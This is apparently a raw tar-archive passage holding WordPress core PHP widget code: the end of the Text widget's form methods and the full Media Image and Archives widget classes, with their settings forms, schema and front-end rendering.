	 * @see WP_Widget_Text::render_control_template_scripts()
	 * @see _WP_Editors::editor()
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args(
			(array) $instance,
			array(
				'title' => '',
				'text'  => '',
			)
		);
		?>
		<?php if ( ! $this->is_legacy_instance( $instance ) ) : ?>
			<?php

			if ( user_can_richedit() ) {
				add_filter( 'the_editor_content', 'format_for_editor', 10, 2 );
				$default_editor = 'tinymce';
			} else {
				$default_editor = 'html';
			}

			/** This filter is documented in wp-includes/class-wp-editor.php */
			$text = apply_filters( 'the_editor_content', $instance['text'], $default_editor );

			// Reset filter addition.
			if ( user_can_richedit() ) {
				remove_filter( 'the_editor_content', 'format_for_editor' );
			}

			// Prevent premature closing of textarea in case format_for_editor() didn't apply or the_editor_content filter did a wrong thing.
			$escaped_text = preg_replace( '#</textarea#i', '&lt;/textarea', $text );

			?>
			<input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" class="title sync-input" type="hidden" value="<?php echo esc_attr( $instance['title'] ); ?>">
			<textarea id="<?php echo $this->get_field_id( 'text' ); ?>" name="<?php echo $this->get_field_name( 'text' ); ?>" class="text sync-input" hidden><?php echo $escaped_text; ?></textarea>
			<input id="<?php echo $this->get_field_id( 'filter' ); ?>" name="<?php echo $this->get_field_name( 'filter' ); ?>" class="filter sync-input" type="hidden" value="on">
			<input id="<?php echo $this->get_field_id( 'visual' ); ?>" name="<?php echo $this->get_field_name( 'visual' ); ?>" class="visual sync-input" type="hidden" value="on">
		<?php else : ?>
			<input id="<?php echo $this->get_field_id( 'visual' ); ?>" name="<?php echo $this->get_field_name( 'visual' ); ?>" class="visual" type="hidden" value="">
			<p>
				<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
				<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
			</p>
			<?php
			if ( ! isset( $instance['visual'] ) ) {
				$widget_info_message = __( 'This widget may contain code that may work better in the &#8220;Custom HTML&#8221; widget. How about trying that widget instead?' );
			} else {
				$widget_info_message = __( 'This widget may have contained code that may work better in the &#8220;Custom HTML&#8221; widget. If you have not yet, how about trying that widget instead?' );
			}

			wp_admin_notice(
				$widget_info_message,
				array(
					'type'               => 'info',
					'additional_classes' => array( 'notice-alt', 'inline' ),
				)
			);
			?>
			<p>
				<label for="<?php echo $this->get_field_id( 'text' ); ?>"><?php _e( 'Content:' ); ?></label>
				<textarea class="widefat" rows="16" cols="20" id="<?php echo $this->get_field_id( 'text' ); ?>" name="<?php echo $this->get_field_name( 'text' ); ?>"><?php echo esc_textarea( $instance['text'] ); ?></textarea>
			</p>
			<p>
				<input id="<?php echo $this->get_field_id( 'filter' ); ?>" name="<?php echo $this->get_field_name( 'filter' ); ?>" type="checkbox"<?php checked( ! empty( $instance['filter'] ) ); ?> />&nbsp;<label for="<?php echo $this->get_field_id( 'filter' ); ?>"><?php _e( 'Automatically add paragraphs' ); ?></label>
			</p>
			<?php
		endif;
	}

	/**
	 * Renders form template scripts.
	 *
	 * @since 4.8.0
	 * @since 4.9.0 The method is now static.
	 */
	public static function render_control_template_scripts() {
		$dismissed_pointers = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );
		?>
		<script type="text/html" id="tmpl-widget-text-control-fields">
			<# var elementIdPrefix = 'el' + String( Math.random() ).replace( /\D/g, '' ) + '_' #>
			<p>
				<label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label>
				<input id="{{ elementIdPrefix }}title" type="text" class="widefat title">
			</p>

			<?php if ( ! in_array( 'text_widget_custom_html', $dismissed_pointers, true ) ) : ?>
				<div hidden class="wp-pointer custom-html-widget-pointer wp-pointer-top">
					<div class="wp-pointer-content">
						<h3><?php _e( 'New Custom HTML Widget' ); ?></h3>
						<?php if ( is_customize_preview() ) : ?>
							<p><?php _e( 'Did you know there is a &#8220;Custom HTML&#8221; widget now? You can find it by pressing the &#8220;<a class="add-widget" href="#">Add a Widget</a>&#8221; button and searching for &#8220;HTML&#8221;. Check it out to add some custom code to your site!' ); ?></p>
						<?php else : ?>
							<p><?php _e( 'Did you know there is a &#8220;Custom HTML&#8221; widget now? You can find it by scanning the list of available widgets on this screen. Check it out to add some custom code to your site!' ); ?></p>
						<?php endif; ?>
						<div class="wp-pointer-buttons">
							<a class="close" href="#"><?php _e( 'Dismiss' ); ?></a>
						</div>
					</div>
					<div class="wp-pointer-arrow">
						<div class="wp-pointer-arrow-inner"></div>
					</div>
				</div>
			<?php endif; ?>

			<?php if ( ! in_array( 'text_widget_paste_html', $dismissed_pointers, true ) ) : ?>
				<div hidden class="wp-pointer paste-html-pointer wp-pointer-top">
					<div class="wp-pointer-content">
						<h3><?php _e( 'Did you just paste HTML?' ); ?></h3>
						<p><?php _e( 'Hey there, looks like you just pasted HTML into the &#8220;Visual&#8221; tab of the Text widget. You may want to paste your code into the &#8220;Code&#8221; tab instead. Alternately, try out the new &#8220;Custom HTML&#8221; widget!' ); ?></p>
						<div class="wp-pointer-buttons">
							<a class="close" href="#"><?php _e( 'Dismiss' ); ?></a>
						</div>
					</div>
					<div class="wp-pointer-arrow">
						<div class="wp-pointer-arrow-inner"></div>
					</div>
				</div>
			<?php endif; ?>

			<p>
				<label for="{{ elementIdPrefix }}text" class="screen-reader-text"><?php /* translators: Hidden accessibility text. */ esc_html_e( 'Content:' ); ?></label>
				<textarea id="{{ elementIdPrefix }}text" class="widefat text wp-editor-area" style="height: 200px" rows="16" cols="20"></textarea>
			</p>
		</script>
		<?php
	}
}
                                                                                                                                                          class-wp-widget-media-image.php                                                                     0000644                 00000030552 15265674675 0012460 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Media_Image class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.0
 */

/**
 * Core class that implements an image widget.
 *
 * @since 4.8.0
 *
 * @see WP_Widget_Media
 * @see WP_Widget
 */
class WP_Widget_Media_Image extends WP_Widget_Media {

	/**
	 * Constructor.
	 *
	 * @since 4.8.0
	 */
	public function __construct() {
		parent::__construct(
			'media_image',
			__( 'Image' ),
			array(
				'description' => __( 'Displays an image.' ),
				'mime_type'   => 'image',
			)
		);

		$this->l10n = array_merge(
			$this->l10n,
			array(
				'no_media_selected'          => __( 'No image selected' ),
				'add_media'                  => _x( 'Add Image', 'label for button in the image widget' ),
				'replace_media'              => _x( 'Replace Image', 'label for button in the image widget; should preferably not be longer than ~13 characters long' ),
				'edit_media'                 => _x( 'Edit Image', 'label for button in the image widget; should preferably not be longer than ~13 characters long' ),
				'missing_attachment'         => sprintf(
					/* translators: %s: URL to media library. */
					__( 'That image cannot be found. Check your <a href="%s">media library</a> and make sure it was not deleted.' ),
					esc_url( admin_url( 'upload.php' ) )
				),
				/* translators: %d: Widget count. */
				'media_library_state_multi'  => _n_noop( 'Image Widget (%d)', 'Image Widget (%d)' ),
				'media_library_state_single' => __( 'Image Widget' ),
			)
		);
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.8.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {
		return array_merge(
			array(
				'size'              => array(
					'type'        => 'string',
					'enum'        => array_merge( get_intermediate_image_sizes(), array( 'full', 'custom' ) ),
					'default'     => 'medium',
					'description' => __( 'Size' ),
				),
				'width'             => array( // Via 'customWidth', only when size=custom; otherwise via 'width'.
					'type'        => 'integer',
					'minimum'     => 0,
					'default'     => 0,
					'description' => __( 'Width' ),
				),
				'height'            => array( // Via 'customHeight', only when size=custom; otherwise via 'height'.
					'type'        => 'integer',
					'minimum'     => 0,
					'default'     => 0,
					'description' => __( 'Height' ),
				),

				'caption'           => array(
					'type'                  => 'string',
					'default'               => '',
					'sanitize_callback'     => 'wp_kses_post',
					'description'           => __( 'Caption' ),
					'should_preview_update' => false,
				),
				'alt'               => array(
					'type'              => 'string',
					'default'           => '',
					'sanitize_callback' => 'sanitize_text_field',
					'description'       => __( 'Alternative Text' ),
				),
				'link_type'         => array(
					'type'                  => 'string',
					'enum'                  => array( 'none', 'file', 'post', 'custom' ),
					'default'               => 'custom',
					'media_prop'            => 'link',
					'description'           => __( 'Link To' ),
					'should_preview_update' => true,
				),
				'link_url'          => array(
					'type'                  => 'string',
					'default'               => '',
					'format'                => 'uri',
					'media_prop'            => 'linkUrl',
					'description'           => __( 'URL' ),
					'should_preview_update' => true,
				),
				'image_classes'     => array(
					'type'                  => 'string',
					'default'               => '',
					'sanitize_callback'     => array( $this, 'sanitize_token_list' ),
					'media_prop'            => 'extraClasses',
					'description'           => __( 'Image CSS Class' ),
					'should_preview_update' => false,
				),
				'link_classes'      => array(
					'type'                  => 'string',
					'default'               => '',
					'sanitize_callback'     => array( $this, 'sanitize_token_list' ),
					'media_prop'            => 'linkClassName',
					'should_preview_update' => false,
					'description'           => __( 'Link CSS Class' ),
				),
				'link_rel'          => array(
					'type'                  => 'string',
					'default'               => '',
					'sanitize_callback'     => array( $this, 'sanitize_token_list' ),
					'media_prop'            => 'linkRel',
					'description'           => __( 'Link Rel' ),
					'should_preview_update' => false,
				),
				'link_target_blank' => array(
					'type'                  => 'boolean',
					'default'               => false,
					'media_prop'            => 'linkTargetBlank',
					'description'           => __( 'Open link in a new tab' ),
					'should_preview_update' => false,
				),
				'image_title'       => array(
					'type'                  => 'string',
					'default'               => '',
					'sanitize_callback'     => 'sanitize_text_field',
					'media_prop'            => 'title',
					'description'           => __( 'Image Title Attribute' ),
					'should_preview_update' => false,
				),

				/*
				 * There are two additional properties exposed by the PostImage modal
				 * that don't seem to be relevant, as they may only be derived read-only
				 * values:
				 * - originalUrl
				 * - aspectRatio
				 * - height (redundant when size is not custom)
				 * - width (redundant when size is not custom)
				 */
			),
			parent::get_instance_schema()
		);
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 */
	public function render_media( $instance ) {
		$instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );
		$instance = wp_parse_args(
			$instance,
			array(
				'size' => 'thumbnail',
			)
		);

		$attachment = null;

		if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) {
			$attachment = get_post( $instance['attachment_id'] );
		}

		if ( $attachment ) {
			$caption = '';
			if ( ! isset( $instance['caption'] ) ) {
				$caption = $attachment->post_excerpt;
			} elseif ( trim( $instance['caption'] ) ) {
				$caption = $instance['caption'];
			}

			$image_attributes = array(
				'class' => sprintf( 'image wp-image-%d %s', $attachment->ID, $instance['image_classes'] ),
				'style' => 'max-width: 100%; height: auto;',
			);
			if ( ! empty( $instance['image_title'] ) ) {
				$image_attributes['title'] = $instance['image_title'];
			}

			if ( $instance['alt'] ) {
				$image_attributes['alt'] = $instance['alt'];
			}

			$size = $instance['size'];

			if ( 'custom' === $size || ! in_array( $size, array_merge( get_intermediate_image_sizes(), array( 'full' ) ), true ) ) {
				$size  = array( $instance['width'], $instance['height'] );
				$width = $instance['width'];
			} else {
				$caption_size = _wp_get_image_size_from_meta( $instance['size'], wp_get_attachment_metadata( $attachment->ID ) );
				$width        = empty( $caption_size[0] ) ? 0 : $caption_size[0];
			}

			$image_attributes['class'] .= sprintf( ' attachment-%1$s size-%1$s', is_array( $size ) ? implode( 'x', $size ) : $size );

			$image = wp_get_attachment_image( $attachment->ID, $size, false, $image_attributes );

		} else {
			if ( empty( $instance['url'] ) ) {
				return;
			}

			$instance['size'] = 'custom';
			$caption          = $instance['caption'];
			$width            = $instance['width'];
			$classes          = 'image ' . $instance['image_classes'];
			if ( 0 === $instance['width'] ) {
				$instance['width'] = '';
			}
			if ( 0 === $instance['height'] ) {
				$instance['height'] = '';
			}

			$attr = array(
				'class'  => $classes,
				'src'    => $instance['url'],
				'alt'    => $instance['alt'],
				'width'  => $instance['width'],
				'height' => $instance['height'],
			);

			$loading_optimization_attr = wp_get_loading_optimization_attributes(
				'img',
				$attr,
				'widget_media_image'
			);

			$attr = array_merge( $attr, $loading_optimization_attr );

			$attr  = array_map( 'esc_attr', $attr );
			$image = '<img';

			foreach ( $attr as $name => $value ) {
				$image .= ' ' . $name . '="' . $value . '"';
			}

			$image .= ' />';
		} // End if().

		$url = '';
		if ( 'file' === $instance['link_type'] ) {
			$url = $attachment ? wp_get_attachment_url( $attachment->ID ) : $instance['url'];
		} elseif ( $attachment && 'post' === $instance['link_type'] ) {
			$url = get_attachment_link( $attachment->ID );
		} elseif ( 'custom' === $instance['link_type'] && ! empty( $instance['link_url'] ) ) {
			$url = $instance['link_url'];
		}

		if ( $url ) {
			$link = sprintf( '<a href="%s"', esc_url( $url ) );
			if ( ! empty( $instance['link_classes'] ) ) {
				$link .= sprintf( ' class="%s"', esc_attr( $instance['link_classes'] ) );
			}
			if ( ! empty( $instance['link_rel'] ) ) {
				$link .= sprintf( ' rel="%s"', esc_attr( $instance['link_rel'] ) );
			}
			if ( ! empty( $instance['link_target_blank'] ) ) {
				$link .= ' target="_blank"';
			}
			$link .= '>';
			$link .= $image;
			$link .= '</a>';
			$image = $link;
		}

		if ( $caption ) {
			$image = img_caption_shortcode(
				array(
					'width'   => $width,
					'caption' => $caption,
				),
				$image
			);
		}

		echo $image;
	}

	/**
	 * Loads the required media files for the media manager and scripts for media widgets.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		parent::enqueue_admin_scripts();

		$handle = 'media-image-widget';
		wp_enqueue_script( $handle );

		$exported_schema = array();
		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) );
		}
		wp_add_inline_script(
			$handle,
			sprintf(
				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
				wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $exported_schema, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
			)
		);

		wp_add_inline_script(
			$handle,
			sprintf(
				'
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
				',
				wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $this->widget_options['mime_type'], JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $this->l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
			)
		);
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.8.0
	 */
	public function render_control_template_scripts() {
		parent::render_control_template_scripts();

		?>
		<script type="text/html" id="tmpl-wp-media-widget-image-fields">
			<# var elementIdPrefix = 'el' + String( Math.random() ) + '_'; #>
			<# if ( data.url ) { #>
			<p class="media-widget-image-link">
				<label for="{{ elementIdPrefix }}linkUrl"><?php esc_html_e( 'Link to:' ); ?></label>
				<input id="{{ elementIdPrefix }}linkUrl" type="text" class="widefat link" value="{{ data.link_url }}" placeholder="https://" pattern="((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#).*">
			</p>
			<# } #>
		</script>
		<script type="text/html" id="tmpl-wp-media-widget-image-preview">
			<# if ( data.error && 'missing_attachment' === data.error ) { #>
				<?php
				wp_admin_notice(
					$this->l10n['missing_attachment'],
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'notice-missing-attachment' ),
					)
				);
				?>
			<# } else if ( data.error ) { #>
				<?php
				wp_admin_notice(
					__( 'Unable to preview media due to an unknown error.' ),
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt' ),
					)
				);
				?>
			<# } else if ( data.url ) { #>
				<img class="attachment-thumb" src="{{ data.url }}" draggable="false" alt="{{ data.alt }}"
					<# if ( ! data.alt && data.currentFilename ) { #>
						aria-label="
						<?php
						echo esc_attr(
							sprintf(
								/* translators: %s: The image file name. */
								__( 'The current image has no alternative text. The file name is: %s' ),
								'{{ data.currentFilename }}'
							)
						);
						?>
						"
					<# } #>
				/>
			<# } #>
		</script>
		<?php
	}
}
                                                                                                                                                      class-wp-widget-archives.php                                                                        0000644                 00000016115 15265674675 0012124 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Archives class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement the Archives widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Archives extends WP_Widget {

	/**
	 * Sets up a new Archives widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_archive',
			'description'                 => __( 'A monthly archive of your site&#8217;s Posts.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'archives', __( 'Archives' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Archives widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Archives widget instance.
	 */
	public function widget( $args, $instance ) {
		$default_title = __( 'Archives' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : $default_title;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$count    = ! empty( $instance['count'] ) ? '1' : '0';
		$dropdown = ! empty( $instance['dropdown'] ) ? '1' : '0';

		echo $args['before_widget'];

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		if ( $dropdown ) {
			$dropdown_id = "{$this->id_base}-dropdown-{$this->number}";
			?>
		<label class="screen-reader-text" for="<?php echo esc_attr( $dropdown_id ); ?>"><?php echo $title; ?></label>
		<select id="<?php echo esc_attr( $dropdown_id ); ?>" name="archive-dropdown">
			<?php
			/**
			 * Filters the arguments for the Archives widget drop-down.
			 *
			 * @since 2.8.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see wp_get_archives()
			 *
			 * @param array $args     An array of Archives widget drop-down arguments.
			 * @param array $instance Settings for the current Archives widget instance.
			 */
			$dropdown_args = apply_filters(
				'widget_archives_dropdown_args',
				array(
					'type'            => 'monthly',
					'format'          => 'option',
					'show_post_count' => $count,
				),
				$instance
			);

			switch ( $dropdown_args['type'] ) {
				case 'yearly':
					$label = __( 'Select Year' );
					break;
				case 'monthly':
					$label = __( 'Select Month' );
					break;
				case 'daily':
					$label = __( 'Select Day' );
					break;
				case 'weekly':
					$label = __( 'Select Week' );
					break;
				default:
					$label = __( 'Select Post' );
					break;
			}
			?>

			<option value=""><?php echo esc_html( $label ); ?></option>
			<?php wp_get_archives( $dropdown_args ); ?>

		</select>

			<?php ob_start(); ?>
<script>
( ( dropdownId ) => {
	const dropdown = document.getElementById( dropdownId );
	function onSelectChange() {
		setTimeout( () => {
			if ( 'escape' === dropdown.dataset.lastkey ) {
				return;
			}
			if ( dropdown.value ) {
				document.location.href = dropdown.value;
			}
		}, 250 );
	}
	function onKeyUp( event ) {
		if ( 'Escape' === event.key ) {
			dropdown.dataset.lastkey = 'escape';
		} else {
			delete dropdown.dataset.lastkey;
		}
	}
	function onClick() {
		delete dropdown.dataset.lastkey;
	}
	dropdown.addEventListener( 'keyup', onKeyUp );
	dropdown.addEventListener( 'click', onClick );
	dropdown.addEventListener( 'change', onSelectChange );
})( <?php echo wp_json_encode( $dropdown_id, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ); ?> );
</script>
			<?php
			wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) . "\n//# sourceURL=" . rawurlencode( __METHOD__ ) );
		} else {
			$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

			/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
			$format = apply_filters( 'navigation_widgets_format', $format );

			if ( 'html5' === $format ) {
				// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
				$title      = trim( strip_tags( $title ) );
				$aria_label = $title ? $title : $default_title;
				echo '<nav aria-label="' . esc_attr( $aria_label ) . '">';
			}
			?>

			<ul>
				<?php
				wp_get_archives(
					/**
					 * Filters the arguments for the Archives widget.
					 *
					 * @since 2.8.0
					 * @since 4.9.0 Added the `$instance` parameter.
					 *
					 * @see wp_get_archives()
					 *
					 * @param array $args     An array of Archives option arguments.
					 * @param array $instance Array of settings for the current widget.
					 */
					apply_filters(
						'widget_archives_args',
						array(
							'type'            => 'monthly',
							'show_post_count' => $count,
						),
						$instance
					)
				);
				?>
			</ul>

			<?php
			if ( 'html5' === $format ) {
				echo '</nav>';
			}
		}

		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Archives widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget_Archives::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance             = $old_instance;
		$new_instance         = wp_parse_args(
			(array) $new_instance,
			array(
				'title'    => '',
				'count'    => 0,
				'dropdown' => '',
			)
		);
		$instance['title']    = sanitize_text_field( $new_instance['title'] );
		$instance['count']    = $new_instance['count'] ? 1 : 0;
		$instance['dropdown'] = $new_instance['dropdown'] ? 1 : 0;

		return $instance;
	}

	/**
	 * Outputs the settings form for the Archives widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args(
			(array) $instance,
			array(
				'title'    => '',
				'count'    => 0,
				'dropdown' => '',
			)
		);
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>
		<p>
			<input class="checkbox" type="checkbox"<?php checked( $instance['dropdown'] ); ?> id="<?php echo $this->get_field_id( 'dropdown' ); ?>" name="<?php echo $this->get_field_name( 'dropdown' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'dropdown' ); ?>"><?php _e( 'Display as dropdown' ); ?></label>
			<br />
			<input class="checkbox" type="checkbox"<?php checked( $instance['count'] ); ?> id="<?php echo $this->get_field_id( 'count' ); ?>" name="<?php echo $this->get_field_name( 'count' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'count' ); ?>"><?php _e( 'Show post counts' ); ?></label>
		</p>
		<?php
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   